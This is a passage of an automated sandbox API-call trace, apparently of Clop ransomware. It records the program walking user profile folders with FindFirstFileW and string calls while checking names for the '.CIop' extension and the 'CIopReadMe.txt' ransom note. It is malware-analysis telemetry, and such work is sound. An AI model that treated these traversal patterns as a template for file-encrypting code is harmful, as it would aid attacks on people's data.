lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0169.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0169.200] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0169.200] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0169.200] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0169.200] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.200] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.200] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.200] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.200] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.200] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0169.200] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0169.200] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0169.200] SetErrorMode (uMode=0x1) returned 0x1 [0169.200] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0169.201] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0169.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.201] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0169.201] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0169.201] lstrlenW (lpString=".CIop") returned 5 [0169.201] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.201] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.201] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.201] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0169.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.201] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0169.201] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0169.201] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0169.201] SetErrorMode (uMode=0x1) returned 0x1 [0169.201] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0169.201] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0169.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.201] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0169.201] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0169.201] lstrlenW (lpString=".CIop") returned 5 [0169.201] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.201] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.201] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.201] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0169.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0169.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.202] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0169.202] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0169.202] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0169.202] SetErrorMode (uMode=0x1) returned 0x1 [0169.202] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0169.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0169.202] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0169.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0169.202] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.202] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0169.202] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0169.202] lstrlenW (lpString="desktop.ini") returned 11 [0169.202] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0169.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0169.202] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.202] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0169.202] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0169.202] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.202] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0169.202] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0169.202] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0169.203] SetErrorMode (uMode=0x1) returned 0x1 [0169.203] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0169.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0169.203] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0169.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0169.203] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.203] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0169.203] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0169.203] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.203] lstrlenW (lpString="desktop.ini") returned 11 [0169.203] lstrlenW (lpString=".CIop") returned 5 [0169.203] lstrlenW (lpString=".CIop") returned 5 [0169.203] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0169.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0169.203] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.203] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0169.203] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0169.203] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.203] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0169.203] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0169.203] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.203] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0169.204] SetErrorMode (uMode=0x1) returned 0x1 [0169.204] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0169.204] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0169.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.204] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0169.204] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0169.204] lstrlenW (lpString=".CIop") returned 5 [0169.204] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.204] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.204] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.204] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0169.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.204] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0169.204] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0169.204] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0169.204] SetErrorMode (uMode=0x1) returned 0x1 [0169.204] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0169.204] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0169.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.204] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0169.204] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0169.204] lstrlenW (lpString=".CIop") returned 5 [0169.204] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.204] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.204] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.204] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0169.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0169.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.205] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0169.205] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0169.205] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0169.205] SetErrorMode (uMode=0x1) returned 0x1 [0169.205] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0169.205] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0169.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.205] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0169.205] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0169.205] lstrlenW (lpString=".CIop") returned 5 [0169.205] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.205] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.205] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.205] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0169.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.205] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0169.205] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0169.205] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0169.205] SetErrorMode (uMode=0x1) returned 0x1 [0169.205] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0169.205] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0169.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0169.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.205] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0169.205] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0169.206] lstrlenW (lpString=".CIop") returned 5 [0169.206] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.206] lstrlenW (lpString="desktop.ini") returned 11 [0169.206] lstrlenW (lpString=".CIop") returned 5 [0169.206] lstrlenW (lpString=".CIop") returned 5 [0169.206] lstrlenW (lpString=".CIop") returned 5 [0169.206] lstrlenW (lpString=".CIop") returned 5 [0169.206] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0169.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") 